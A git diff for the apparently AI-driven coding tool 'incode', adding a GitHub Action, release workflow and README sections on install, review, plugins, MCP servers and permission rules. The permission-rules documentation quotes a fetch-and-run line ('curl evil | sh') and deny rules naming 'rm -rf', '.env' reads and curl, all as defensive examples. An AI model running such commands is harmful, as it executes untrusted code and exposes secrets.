diff --git a/.github/actions/incode/action.yml b/.github/actions/incode/action.yml new file mode 100644 index 0000000..218e9ed --- /dev/null +++ b/.github/actions/incode/action.yml @@ -0,0 +1,305 @@ +# incode as a GitHub Action. +# +# Two modes: +# +# - `comment` (default): run when an issue, an issue comment or a pull +# request review comment mentions the trigger phrase (`@incode`). The text +# and the issue / pull request it was written on become one `incode -t` +# instruction; the answer is posted back as a comment, and any change the +# model made is pushed to a new branch whose link is in that comment. +# - `review`: run `incode review` on a pull request and post the findings. +# +# The model is reached over its API with a key the workflow passes in; the +# action writes a one-entry admin.json for it in a private INCODE_DIR, so +# nothing on the runner is configured beyond this job. See +# docs/github-action.md for a ready-made workflow. +name: incode +description: Answer @incode mentions on issues and pull requests, or review a pull request, with incode. +author: incordai + +inputs: + mode: + description: "`comment` (answer @incode mentions) or `review` (review the pull request)." + required: false + default: comment + api_key: + description: >- + The model API key, passed from a secret: `${{ secrets.ANTHROPIC_API_KEY }}`. + A composite action cannot read secrets by name, so the value comes in + here and is exported only as the variable named by `api_key_env`. + required: true + api_key_env: + description: The environment variable name the key is exported as for incode (the admin.json `key_env`). + required: false + default: ANTHROPIC_API_KEY + api_url: + description: The model endpoint — `.../v1/messages` or `.../chat/completions`. + required: false + default: https://api.anthropic.com/v1/messages + api_format: + description: "`anthropic` (messages) or `openai` (chat completions)." + required: false + default: anthropic + model: + description: The model id to ask for, as the endpoint names it. + required: true + context_window: + description: The model's context window in tokens; incode compacts the conversation past 80% of it. Blank keeps incode's default. + required: false + default: "" + allowed_tools: + description: >- + Comma-separated incode tools the model may use (e.g. `Read,Grep,Glob`). + Blank offers all of them in `comment` mode and `Read,Grep,Glob` in + `review` mode. + required: false + default: "" + trigger_phrase: + description: What a comment must contain for `comment` mode to act on it. + required: false + default: "@incode" + allowed_associations: + description: >- + Comma-separated author associations allowed to trigger a run. The run + holds your API key and a write token, so a stranger's comment should not + start one. + required: false + default: OWNER,MEMBER,COLLABORATOR + push: + description: In `comment` mode, push the model's changes (if any) to a new branch. + required: false + default: "true" + base: + description: In `review` mode, the ref to review against. Blank uses the pull request's base branch. + required: false + default: "" + incode_version: + description: The incode release to install (a tag such as `v0.2.0`), or `latest`. + required: false + default: latest + github_token: + description: Token for `gh` to comment and for `git` to push. + required: false + default: ${{ github.token }} + +outputs: + skipped: + description: "`true` when the event did not ask for incode (no trigger phrase, or an author not allowed)." + value: ${{ steps.gate.outputs.skip }} + branch: + description: The branch the changes were pushed to, when there were any. + value: ${{ steps.publish.outputs.branch }} + +runs: + using: composite + steps: + # Everything from the event is read from the event file by jq and passed + # through files and environment variables, never spliced into a script: + # a comment is untrusted text. + - id: gate + name: Decide whether this event is for incode + shell: bash + env: + MODE: ${{ inputs.mode }} + TRIGGER: ${{ inputs.trigger_phrase }} + ALLOWED: ${{ inputs.allowed_associations }} + run: | + set -euo pipefail + event="$GITHUB_EVENT_PATH" + number=$(jq -r '.issue.number // .pull_request.number // empty' "$event") + if [ -z "$number" ]; then + echo "incode: this event names no issue or pull request; nothing to do." + echo "skip=true" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "number=$number" >> "$GITHUB_OUTPUT" + if [ "$MODE" = "review" ]; then + if [ "$(jq -r '.pull_request.number // empty' "$event")" = "" ]; then + echo "incode: review mode runs on pull_request events." + echo "skip=true" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "skip=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + # The text that asks: the comment, or the issue itself when it was + # opened or edited. + jq -r '.comment.body // .issue.body // ""' "$event" > "$RUNNER_TEMP/incode-request.txt" + association=$(jq -r '.comment.author_association // .issue.author_association // "NONE"' "$event") + if ! grep -qiF -- "$TRIGGER" "$RUNNER_TEMP/incode-request.txt"; then + echo "incode: no '$TRIGGER' in the text; nothing to do." + echo "skip=true" >> "$GITHUB_OUTPUT" + exit 0 + fi + if ! printf '%s' ",$ALLOWED," | grep -qiF -- ",$association,"; then + echo "incode: the author's association ($association) is not one of: $ALLOWED." + echo "skip=true" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "skip=false" >> "$GITHUB_OUTPUT" + + - name: Install incode + if: steps.gate.outputs.skip != 'true' + shell: bash + env: + INCODE_VERSION: ${{ inputs.incode_version }} + INCODE_INSTALL_DIR: ${{ runner.temp }}/incode-bin + ACTION_PATH: ${{ github.action_path }} + run: | + set -euo pipefail + # The installer that ships beside this action when the action is used + # from the incode repository; the published one otherwise. + local_installer="$ACTION_PATH/../../../scripts/install.sh" + if [ -f "$local_installer" ]; then + sh "$local_installer" + else + curl --proto '=https' --tlsv1.2 -fsSL \ + https://raw.githubusercontent.com/incordai/incode/main/scripts/install.sh | sh + fi + echo "$INCODE_INSTALL_DIR" >> "$GITHUB_PATH" + + - name: Configure the model + if: steps.gate.outputs.skip != 'true' + shell: bash + env: + API_KEY: ${{ inputs.api_key }} + KEY_ENV: ${{ inputs.api_key_env }} + API_URL: ${{ inputs.api_url }} + API_FORMAT: ${{ inputs.api_format }} + MODEL: ${{ inputs.model }} + CONTEXT_WINDOW: ${{ inputs.context_window }} + MODE: ${{ inputs.mode }} + ALLOWED_TOOLS: ${{ inputs.allowed_tools }} + run: | + set -euo pipefail + if [ -z "$API_KEY" ]; then + echo "::error::incode: api_key is empty — pass it from a secret." + exit 1 + fi + case "$KEY_ENV" in + *[!A-Za-z0-9_]* | "" ) echo "::error::incode: api_key_env must be a variable name."; exit 1 ;; + esac + echo "::add-mask::$API_KEY" + incode_dir="$RUNNER_TEMP/incode-home" + mkdir -p "$incode_dir" + # One API route, named `ci`, holding the key's variable NAME only. + jq -n \ + --arg url "$API_URL" --arg format "$API_FORMAT" \ + --arg key_env "$KEY_ENV" --arg model "$MODEL" \ + --arg window "$CONTEXT_WINDOW" \ + '{agent: "ci", + api_models: [({name: "ci", format: $format, url: $url, + key_env: $key_env, model: $model} + + (if $window == "" then {} else {context_window: ($window | tonumber)} end))]}' \ + > "$incode_dir/admin.json" + { + echo "INCODE_DIR=$incode_dir" + echo "INCODE_AGENT=ci" + echo "$KEY_ENV=$API_KEY" + } >> "$GITHUB_ENV" + tools="$ALLOWED_TOOLS" + if [ -z "$tools" ] && [ "$MODE" = "review" ]; then + tools="Read,Grep,Glob" + fi + if [ -n "$tools" ]; then + echo "INCODE_ALLOWED_TOOLS=$tools" >> "$GITHUB_ENV" + fi + + - name: Review the pull request + if: steps.gate.outputs.skip != 'true' && inputs.mode == 'review' + shell: bash + env: + GH_TOKEN: ${{ inputs.github_token }} + BASE: ${{ inputs.base }} + NUMBER: ${{ steps.gate.outputs.number }} + run: | + set -euo pipefail + base="$BASE" + if [ -z "$base" ]; then + base_ref=$(jq -r '.pull_request.base.ref' "$GITHUB_EVENT_PATH") + git fetch --no-tags origin "$base_ref" + base="origin/$base_ref" + fi + out="$RUNNER_TEMP/incode-review.md" + if ! incode review --base "$base" -p > "$out"; then + echo "incode could not finish the review; see the workflow log." > "$out" + fi + { + echo "### incode review" + echo + cat "$out" + } > "$RUNNER_TEMP/incode-comment.md" + gh pr comment "$NUMBER" --body-file "$RUNNER_TEMP/incode-comment.md" + + - name: Answer the mention + if: steps.gate.outputs.skip != 'true' && inputs.mode != 'review' + shell: bash + run: | + set -euo pipefail + event="$GITHUB_EVENT_PATH" + prompt="$RUNNER_TEMP/incode-prompt.txt" + { + echo "You were mentioned on GitHub in $GITHUB_REPOSITORY ($GITHUB_EVENT_NAME)." + echo "The repository is checked out in the current directory." + echo + if [ "$(jq -r '(.issue.pull_request // .pull_request) != null' "$event")" = "true" ]; then + echo "It is on pull request #$(jq -r '.issue.number // .pull_request.number' "$event"):" + else + echo "It is on issue #$(jq -r '.issue.number' "$event"):" + fi + echo "Title: $(jq -r '.issue.title // .pull_request.title // ""' "$event")" + echo + echo "" + jq -r '.issue.body // .pull_request.body // ""' "$event" + echo "" + if [ "$(jq -r '.comment.path // empty' "$event")" != "" ]; then + echo + echo "The comment is on $(jq -r '.comment.path' "$event") line $(jq -r '.comment.line // .comment.original_line // "?"' "$event"):" + echo "" + jq -r '.comment.diff_hunk // ""' "$event" + echo "" + fi + echo + echo "" + cat "$RUNNER_TEMP/incode-request.txt" + echo "" + echo + echo "Do what the request asks. If it asks for a code change, make it in the" + echo "working tree (do not commit or push; that is done for you). Your final" + echo "message is posted as the reply on GitHub, so make it a complete answer:" + echo "what you found or changed, and anything left for a person to do." + } > "$prompt" + result="$RUNNER_TEMP/incode-result.json" + incode -t "$(cat "$prompt")" --spec-gate off --output-format json > "$result" || true + jq -r 'if .result then .result else "incode could not finish: " + (.error // "see the workflow log") end' \ + "$result" > "$RUNNER_TEMP/incode-reply.md" 2>/dev/null \ + || echo "incode did not report a result; see the workflow log." > "$RUNNER_TEMP/incode-reply.md" + + - id: publish + name: Push changes and reply + if: steps.gate.outputs.skip != 'true' && inputs.mode != 'review' + shell: bash + env: + GH_TOKEN: ${{ inputs.github_token }} + PUSH: ${{ inputs.push }} + NUMBER: ${{ steps.gate.outputs.number }} + run: | + set -euo pipefail + reply="$RUNNER_TEMP/incode-reply.md" + if [ "$PUSH" = "true" ] && [ -n "$(git status --porcelain)" ]; then + branch="incode/$NUMBER-$GITHUB_RUN_ID" + git config user.name "incode[bot]" + git config user.email "incode[bot]@users.noreply.github.com" + git checkout -b "$branch" + git add -A + git commit -q -m "incode: changes for #$NUMBER" -m "Requested in $GITHUB_SERVER_URL/$GITHUB_REPOSITORY/issues/$NUMBER" + git push -q origin "$branch" + echo "branch=$branch" >> "$GITHUB_OUTPUT" + { + echo + echo "---" + echo "Changes pushed to [\`$branch\`]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/tree/$branch)." + echo "[Open a pull request]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/compare/$branch?expand=1)." + } >> "$reply" + fi + gh issue comment "$NUMBER" --body-file "$reply" diff --git a/.github/workflows/incode.yml.example b/.github/workflows/incode.yml.example new file mode 100644 index 0000000..d770390 --- /dev/null +++ b/.github/workflows/incode.yml.example @@ -0,0 +1,54 @@ +# Example workflow for the incode GitHub Action. Copy it to +# .github/workflows/incode.yml in your repository and add the secret +# ANTHROPIC_API_KEY (or change `api_key`, `api_key_env`, `api_url` and +# `api_format` for another provider). See docs/github-action.md. +name: incode + +on: + issue_comment: + types: [created] + pull_request_review_comment: + types: [created] + issues: + types: [opened, assigned] + pull_request: + types: [opened, ready_for_review] + +permissions: + contents: write + issues: write + pull-requests: write + +jobs: + # Answer `@incode ...` on issues, issue comments and review comments. + respond: + if: >- + github.event_name != 'pull_request' && ( + contains(github.event.comment.body, '@incode') || + contains(github.event.issue.body, '@incode') + ) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: incordai/incode/.github/actions/incode@main + with: + mode: comment + api_key: ${{ secrets.ANTHROPIC_API_KEY }} + model: ${{ vars.INCODE_MODEL }} + # allowed_tools: Read,Grep,Glob,Edit,Write,Bash + + # Review every pull request when it is opened. + review: + if: github.event_name == 'pull_request' && !github.event.pull_request.draft + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: incordai/incode/.github/actions/incode@main + with: + mode: review + api_key: ${{ secrets.ANTHROPIC_API_KEY }} + model: ${{ vars.INCODE_MODEL }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..76bd5fa --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,118 @@ +# Release binaries for a version tag. +# +# Pushing `v1.2.3` builds `incode` and `sbx` for every platform below, packs +# each pair as `incode-.tar.gz` (`.zip` on Windows), and publishes them +# on a GitHub Release with a `SHA256SUMS` beside them. `scripts/install.sh`, +# `scripts/install.ps1` and `incode update` all read exactly these names, so a +# rename here is a rename there. +name: release + +on: + push: + tags: ["v*"] + +permissions: + contents: read + +jobs: + build: + name: build (${{ matrix.target }}) + strategy: + fail-fast: false + matrix: + include: + # The oldest supported Ubuntu, not the latest: the binary links the + # glibc it was built against, and an older one runs on more systems. + - target: x86_64-unknown-linux-gnu + os: ubuntu-22.04 + # A native ARM runner, so the desktop stack's C libraries need no + # cross toolchain. + - target: aarch64-unknown-linux-gnu + os: ubuntu-22.04-arm + # One macOS runner builds both: Xcode's SDK targets either arch. + - target: x86_64-apple-darwin + os: macos-latest + - target: aarch64-apple-darwin + os: macos-latest + - target: x86_64-pc-windows-msvc + os: windows-latest + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v4 + # The same set ci.yml installs: the Linux desktop backends (xcap, + # enigo's x11rb, AT-SPI over zbus) link against these at build time. + - name: Linux build dependencies + if: runner.os == 'Linux' + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + pkg-config clang libclang-dev libwayland-dev libpipewire-0.3-dev \ + libxcb1-dev libxcb-randr0-dev libxcb-shm0-dev libdbus-1-dev \ + libegl-dev libgbm-dev + - uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.target }} + - uses: Swatinem/rust-cache@v2 + with: + key: ${{ matrix.target }} + - name: Build + run: cargo build --release --locked --target ${{ matrix.target }} -p incord-code -p incord-sandbox + # A flat archive: the two programs and the licence, no folder around + # them. `incode update` looks for the programs at the top. + # + # The files are NAMED rather than archived as `.`: a `./` entry names + # no file, and incode's unpacker refuses an archive that holds one. + # COPYFILE_DISABLE stops macOS tar adding `._*` metadata entries. + - name: Package (unix) + if: runner.os != 'Windows' + shell: bash + env: + COPYFILE_DISABLE: "1" + run: | + set -euo pipefail + stage="$(mktemp -d)" + bin="target/${{ matrix.target }}/release" + cp "$bin/incode" "$bin/sbx" LICENSE NOTICE README.md "$stage/" + mkdir -p dist + tar -C "$stage" -czf "dist/incode-${{ matrix.target }}.tar.gz" \ + incode sbx LICENSE NOTICE README.md + - name: Package (windows) + if: runner.os == 'Windows' + shell: pwsh + run: | + $stage = New-Item -ItemType Directory -Path (Join-Path $env:RUNNER_TEMP "stage") + $bin = "target/${{ matrix.target }}/release" + Copy-Item "$bin/incode.exe", "$bin/sbx.exe", LICENSE, NOTICE, README.md $stage + New-Item -ItemType Directory -Force -Path dist | Out-Null + Compress-Archive -Path (Join-Path $stage "*") -DestinationPath "dist/incode-${{ matrix.target }}.zip" + - uses: actions/upload-artifact@v4 + with: + name: incode-${{ matrix.target }} + path: dist/* + if-no-files-found: error + + release: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/download-artifact@v4 + with: + path: dist + pattern: incode-* + merge-multiple: true + # One line per archive, ` ` — the `sha256sum` format, + # which the installers and `incode update` parse. + - name: Checksums + working-directory: dist + run: | + sha256sum incode-* > SHA256SUMS + cat SHA256SUMS + - uses: softprops/action-gh-release@v2 + with: + files: dist/* + generate_release_notes: true + # A tag with a hyphen (`v1.2.0-rc.1`) is a pre-release, which + # GitHub's `releases/latest` — and so every installer — skips. + prerelease: ${{ contains(github.ref_name, '-') }} diff --git a/Cargo.lock b/Cargo.lock index 8e8acfd..aac1c13 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2021,6 +2021,7 @@ dependencies = [ "tar", "tempfile", "tokio", + "toml", "tracing", "tree-sitter", "tree-sitter-go", @@ -2049,6 +2050,7 @@ dependencies = [ "serde_json", "tempfile", "toml", + "windows-sys 0.61.2", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index f94cb1a..ab114fc 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -150,6 +150,10 @@ tungstenite = { version = "=0.30.0", default-features = false, features = ["hand # drops `xattr`, so it brings only filetime beside it (see ARCHITECTURE.md, # "External tools"). sha2 = "=0.10.9" +# The managed settings file (`/etc/incode/managed.toml`, src/permissions/ +# managed.rs). NO NEW PACKAGE: toml 1.x is already resolved in Cargo.lock for +# the workspace's own `crates/sandbox`, which declares it the same way. +toml = "1" flate2 = "=1.1.10" tar = { version = "=0.4.46", default-features = false } diff --git a/README.md b/README.md index 4a1b2c7..6bfad2c 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,8 @@ tools — see [Limits](#limits).) - [A new project](#a-new-project) - [Modes](#modes) - [Choosing agents and models](#choosing-agents-and-models) -- [Commands inside a session](#commands-inside-a-session) +- [Commands inside a session](#commands-inside-a-session) · [Custom commands and plugins](#custom-commands-and-plugins) +- [Code review and GitHub](#code-review-and-github) - [Tools](#tools) - [Computer use](#computer-use) - [Safety](#safety) @@ -157,6 +158,31 @@ The design is in `docs/ARCHITECTURE.md`; the tool layer is its §5a and §5b. ## Install +Prebuilt `incode` (and `sbx`, the [standalone sandbox](crates/sandbox)) for +Linux (x86_64, aarch64; glibc), macOS (Intel, Apple silicon) and Windows +(x86_64) are published on each GitHub release. The install scripts fetch the +latest one, check it against the release's `SHA256SUMS`, and install it: + +```sh +# Linux / macOS — into ~/.local/bin (or $INCODE_INSTALL_DIR) +curl -fsSL https://raw.githubusercontent.com/incordai/incode/main/scripts/install.sh | sh +``` + +```powershell +# Windows — into %LOCALAPPDATA%\incode\bin, added to your user PATH +irm https://raw.githubusercontent.com/incordai/incode/main/scripts/install.ps1 | iex +``` + +Set `INCODE_VERSION=v0.2.0` to pin a release instead of the latest. Once +installed, `incode update --check` says whether a newer release exists, and +`incode update` installs it in place (sha256-checked; `sbx` is updated too when +it sits beside `incode`). The Linux binary is built with the default +`desktop-capture` feature, so it needs the shared libraries of the capture +stack (`libgbm`, `libwayland-client`, `libxcb`) present at run time; on a +server without them, build from source without that feature. + +### From source + ```sh git clone incord-code cd incord-code @@ -173,6 +199,18 @@ install -m755 target/release/incode ~/.local/bin/incode Copy-Item target\release\incode.exe $env:USERPROFILE\.local\bin\ ``` +**On Windows, also set up the sandbox** (`sbx`, which runs inside WSL2): + +```powershell +powershell -ExecutionPolicy Bypass -File scripts\install-windows.ps1 +``` + +It installs WSL2 if it's missing (asks first; needs administrator rights +once and usually a restart, then run it again). It then builds `sbx` inside +WSL2 and puts `sbx.exe` on your PATH. `sbx.exe` forwards every command into +WSL2, where the Linux sandbox confines it. macOS and Linux need no extra +step. + Each Outline language is a default cargo feature (`lang-rust`, `lang-ts`, `lang-python`, `lang-go`, `lang-js`); build with `--no-default-features` and a subset to drop grammars. Screen capture for computer use is the default @@ -260,6 +298,7 @@ agreeing what "done" means. | `incode --admin` | Print the resolved settings and which layer decided each. | | `incode --desktop-stop` | Halt the desktop driving this workspace. | | `incode --install-tools` | Download, check and unpack every [external tool](#external-tools) in `admin.json`, then exit (non-zero if any was not installed). | +| `incode update [--check]` | Install the latest release over this program, checked against its `SHA256SUMS` (see [Install](#install)); `--check` only reports whether there is one. | | `incode --tool-server` | Internal. Started by the agent CLI that incode launched; offers incode's tools over MCP and runs nothing itself. | | `incode --desktop-mcp` | Internal. The desktop tools' executor, started by incode's toolbox. | | `incode --team-mcp --team-channel

` | Internal. The team channel as an MCP server, for `codex`. | @@ -380,6 +419,12 @@ a vendor is built into incode: these are ordinary entries you write. service that refuses the field. - `api_version`: the `anthropic-version` header the `anthropic` format sends. Unset, `2023-06-01`, the value that format documents. +- `context_window` (tokens, default 200000; 0 never compacts on its own): an + API route's conversation lives in incode, so incode keeps it inside the + window. Past 80% of it, the older turns are summarised by the same model into + one message and the last two turns are kept verbatim (a tool call is never + parted from its result). `/compact [instructions]` does it now, steered by + what you ask the summary to keep. A CLI agent compacts its own transcript. - `/model ` switches to any model the service offers; `/models` lists them. ### CLI agents @@ -439,11 +484,14 @@ it sets; any other `id` adds an agent. | `/run` | Work the roadmap ledger until it is empty or something needs a person | | `/roadmap` | What the roadmap says, and which goals a command has proven | | `/guards` | The paths the agent is not allowed to write | +| `/permissions` | The allow / ask / deny [permission rules](#permission-rules) in force, and where each came from | | `/links ` | What else uses what this file defines, and what it depends on | | `/undo` | Put the files from the last changed turn back | | `/rewind ` | Put the files back as they were n changed turns ago | | `/diff [file] [rev]` | Unified diff of a file or the workspace against older code | | `/plan` · `/act` | Read-only mode · workspace-write mode | +| `/review [base]` | Review the change against `base` (default: where the branch forked from origin's default branch) — see [below](#code-review-and-github) | +| `/compact [instructions]` | Summarise the older turns now (API route); a CLI agent compacts its own | | `/image ` | Send a PNG or JPEG with the next message | | `/clear` · `/save` · `/sessions` · `/resume ` | Session handling | | `/remember ` · `/memories ` · `/forget [confirm]` | The shared long-term memory | @@ -454,9 +502,103 @@ it sets; any other `id` adds an agent. | `/pr merge [branch] [--squash\|--rebase]` | Merge that branch's open pull request (a merge commit by default; the branch is kept). Only as reviewed: refused for a draft, a conflict, a failing or still-running check, or when the PR's head is not your local branch's tip — and GitHub is told that head, so nothing pushed afterwards can ride along. Says so when no checks ran at all | | `/add-dir ` | Also work in this directory — guards and undo extend to it too | | `/tools add ` · `/tools update [name]` · `/tools remove ` | Install, update or remove an [external tool](#external-tools) (also over `--acp`) | -| `/tools` · `/mcp` · `/env` · `/compact` | Information screens (`/tools` also lists the external tools and what is installed) | +| `/tools` · `/mcp` · `/env` | Information screens (`/tools` also lists the external tools and what is installed) | +| `/cost` | Input, output and cache tokens per model this session, with an estimated USD figure from list prices | +| `/vim` | Toggle vi editing in the input box for this session | | `/quit` | Exit | +### Notifications, status line, vi mode and key bindings + +All optional, in `~/.incode/admin.json`: + +```json +{ + "notify": "auto", + "notify_command": "say \"$INCODE_MESSAGE\"", + "notify_after_secs": 10, + "statusline_command": "~/.incode/statusline.sh", + "editing_mode": "vi" +} +``` + +- **`notify`** — when a turn that ran longer than `notify_after_secs` (default 10) finishes, or the agent stops to ask for permission or an answer: `auto` (default) sends an OSC 9 notification on terminals known to show one (iTerm2, WezTerm, Windows Terminal, kitty, Ghostty) and a bell elsewhere; `bell`; `desktop` (`notify-send` on Linux, `osascript` on macOS, a BurntToast or WinRT toast through PowerShell on Windows, a bell when that cannot start); `off`. `notify_command` also runs, with `INCODE_EVENT` (`done` or `input`) and `INCODE_MESSAGE` set. Nothing waits on either. +- **`statusline_command`** — run at start and after each turn with the session as JSON on stdin (`cwd`, `workspace`, `model`, `session_id`, `git_branch`, `git_dirty`, `tokens` {`input`, `output`, `cache_write`, `cache_read`, `total`}, `cost_usd`, null when a model is unpriced). Its first line replaces the facts on the input box's top rule. It gets 1.5 s; a slow or failing run keeps the last good line. +- **`editing_mode`** — `emacs` (default) or `vi`. In vi mode Esc enters normal mode (`h l w b e 0 ^ $ x X D C s S dd cc i a I A j k`) and Enter submits from either mode. +- **`~/.incode/keybindings.toml`** — flat `"key" = "action"` lines, checked before the built-in keys. Keys: `ctrl-`, `alt-`, `shift-` plus a character, `enter`, `tab`, `esc`, `backspace`, `delete`, arrows, `home`, `end`, `space`, `f1`–`f12`. Actions: `clear-line`, `kill-to-start`, `kill-to-end`, `delete-word`, `line-start`, `line-end`, `char-left`, `char-right`, `word-left`, `word-right`, `history-prev`, `history-next`, `newline`, `submit`, `complete`. + + ```toml + "ctrl-l" = "clear-line" + "alt-b" = "word-left" + "alt-f" = "word-right" + ``` + +Prices for `/cost`, the status line and `-t --output-format json` (`cost_usd`) are one table, `PRICES` in `src/runtime/usage.rs`; a model it does not know is shown as unpriced, never guessed. + +## Code review and GitHub + +`incode review` (and `/review` in a session) hands the model the change and +one job: report correctness bugs first, then security problems, then +simplifications, each cited as `path:line` — or say "No issues found." + +```sh +incode review # the branch since it forked from origin's default branch, plus uncommitted and untracked work +incode review --base v0.3.0 # against any ref +incode review -p > review.md # findings only on stdout; progress on stderr +``` + +The same machinery runs in CI: [`.github/actions/incode`](.github/actions/incode/action.yml) +answers `@incode` mentions on issues and pull requests (posting the reply and +pushing any change to a new branch), or reviews each pull request as it opens. +Setup, inputs and the safety defaults are in +[docs/github-action.md](docs/github-action.md). + +## Custom commands and plugins + +A markdown file is a slash command. Put it in `.incode/commands/` (the +project's) or `~/.incode/commands/` (yours; the project's wins on a name +clash). The name is the path with `/` turned into `:` — `frontend/test.md` is +`/frontend:test`. Built-in commands always win, and a file that shadows one is +reported at start. + +```markdown +--- +description: Run the frontend tests for one file +argument-hint: [pattern] +model: sonnet +allowed-tools: Bash(npm test:*), Read +--- +Run the tests in $1, filtered to `$2`. Everything typed: $ARGUMENTS +``` + +`$ARGUMENTS` is everything after the name; `$1`..`$9` are its words, split like +a shell (quotes group). A body with neither gets the arguments appended. Typing +`/frontend:test app.tsx` sends the filled-in text as your turn, and `incode -t +"/frontend:test app.tsx"` runs it headless. Custom commands are listed in +`/help` and complete on Tab. `model` is used by `-t` when `-m` is not given; in +the REPL it is only named, since switching models starts the conversation over. +`allowed-tools` is advisory: shown, not enforced — guards, the permission mode +and hooks are what restrict tools. + +A **plugin** is a folder in `~/.incode/plugins//` or +`.incode/plugins//` with a `plugin.toml` (`name`, `version`, +`description`) and any of: `commands/**/*.md` (as `/:`), +`skills//SKILL.md` (listed in `/skills` as `:`), +`hooks.json` (`{"pre_tool_use": [...], "post_tool_use": [...]}`, added to +`admin.json`'s hooks) and `.mcp.json` (`{"mcpServers": {"db": {"command", +"args", "env"}}}`, or `{"type": "http", "url", "headers"}`, started with the +session). `${INCODE_PLUGIN_ROOT}` in a hook or server is the plugin's folder. + +```sh +incode plugin list +incode plugin add https://github.com/you/incode-web-plugin # git clone --depth 1 +incode plugin add ./my-plugin --project # copied into .incode/plugins/ +incode plugin remove web +``` + +A plugin's hooks and servers run with your authority; install only what you +would run yourself. Skills and hooks are read for the directory incode was +started in. + ## Tools Every tool the model can call is incode's own, in `src/toolbox/`. Each call is @@ -580,6 +722,47 @@ browser incode's own `Screenshot`, `RenderPdf` and `WebFetch` `render_js` use. Its tools join the session after it starts; a tool installed during a session is offered from the next one. +### MCP servers + +incode starts the MCP servers named in a project's `.mcp.json` and in your +`~/.incode/mcp.json` — the format other agents use — and offers their tools as +`mcp____`, through the same gate as every other tool: + +```json +{ "mcpServers": { + "github": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"], + "env": { "GITHUB_TOKEN": "${GITHUB_TOKEN}" } }, + "docs": { "type": "http", "url": "https://mcp.example.com/mcp", + "headers": { "Authorization": "Bearer ${DOCS_TOKEN:-}" } } } } +``` + +- `${VAR}` and `${VAR:-default}` are expanded from the environment in + `command`, `args`, `env`, `url` and `headers`; an unset variable with no + default stops that server and names the variable. +- `http` servers speak MCP Streamable HTTP (https anywhere, plain http only to + this machine). `sse` is tried the same way; a server that speaks only the + legacy SSE transport will not connect. OAuth is not supported yet — pass a + token in `headers`. +- **A project's server is asked about before it first runs**, because a + `git clone` can bring one. The REPL asks; approvals are remembered in + `~/.incode/mcp-approvals.json`, keyed by the server's name and a sha256 of + its type, command, args, env, url and headers as written — change any of + them and it is asked about again. Under `-t` and `--acp` an unapproved + server is skipped with the command that approves it. Your own + `~/.incode/mcp.json` needs no approval. + +```sh +incode mcp list # every server, its scope and status +incode mcp get +incode mcp add fs -- npx -y @modelcontextprotocol/server-filesystem . +incode mcp add -s project -H 'Authorization: Bearer ${T}' docs https://mcp.example.com/mcp +incode mcp remove [-s user|project] +incode mcp approve # approve a project server as it is written now +``` + +`add` writes `~/.incode/mcp.json` unless given `-s project`; a project server +added this way is approved as written. + ## Computer use The model can see and drive a desktop: read a window's accessibility tree, @@ -760,6 +943,65 @@ sbx run -w . -w ~/.claude -w ~/.claude.json -w ~/.incode --wall 1800 -- incode - Details, the policy format and what each OS enforces are in [`crates/sandbox/README.md`](crates/sandbox/README.md). +### Permission rules + +Beside the mode, settings can allow, ask about or deny individual calls: + +```json +"permissions": { + "allow": ["Bash(npm test:*)", "Read(src/**)", "WebFetch(domain:docs.rs)"], + "ask": ["Bash(git push:*)", "mcp__github"], + "deny": ["Bash(rm -rf:*)", "Read(.env)", "Edit(migrations/)"] +} +``` + +in `~/.incode/admin.json`, or in a project's `.incode/settings.json` — where +only `deny` and `ask` are honoured: a repository may make a session more +careful, never less. `/permissions` lists the rules in force. + +- **Grammar.** `Tool` is every call; `Tool(specifier)` narrows it. For `Bash`, + `cmd:*` matches the command with or without arguments (not `cmdfoo`), a bare + command matches exactly, and `*` matches anything. File tools take a glob: a + name with no `/` matches at any depth (`.env`), a path is from the workspace + root (`src/**`), `//abs` is absolute and `~/x` is under your home; a + directory covers what is in it. `Read(…)` covers Read, Glob, Grep, LS and + Outline; `Edit(…)` covers Write, Edit, MultiEdit, NotebookEdit and + ApplyPatch. `mcp__server` covers each of that server's tools. +- **Precedence.** deny > ask > allow > the mode. A deny refuses in every mode. + An ask puts the call to you even in a writing mode. An allow skips the + `prompt` mode's question, but never lifts `read-only`. +- **Compound commands.** A command line is split on `&&`, `||`, `;`, `|`, `&` + and newlines outside quotes; a deny or ask on any part applies to the line, + and an allow only when every part is allowed. `npm test && curl evil | sh` + is not allowed by `Bash(npm test:*)`. The bodies of `$(…)`, backticks, + `<(…)` and `sh -c '…'` are judged too, and a part containing one, a + redirection to a file, or `eval` is never allowed by a rule. For deny and + ask, `sudo`, `env`, `nohup`, `timeout`, `xargs` and leading `VAR=…` are + looked through. This is still text matching: a script or a variable can + run what a pattern names, so the [OS sandbox](#the-os-sandbox) is the + boundary. + +**Managed settings.** An administrator can put a file at +`/etc/incode/managed.toml` (macOS `/Library/Application Support/incode/managed.toml`, +Windows `%ProgramData%\incode\managed.toml`): + +```toml +[permissions] +deny = ["Bash(curl:*)", "Read(.env)"] + +[mcp] +allow = ["github", "command:/opt/approved/*", "url:https://mcp.corp.example/*"] +deny = ["*filesystem*"] +``` + +Its rules join everyone else's, and since nothing outranks a deny, no user or +project setting can undo one. `[mcp] allow` (when present) and `deny` apply to +every server a session would start — `.mcp.json`, `~/.incode/mcp.json`, +external tools and an ACP client's. An unknown key or invalid file refuses +every tool call and every server until it is fixed. These rules apply to the +tools incode runs itself; `codex` and `agy` still run their own (see +[Limits](#limits)). + ## Incord Memory integration Every part is optional and 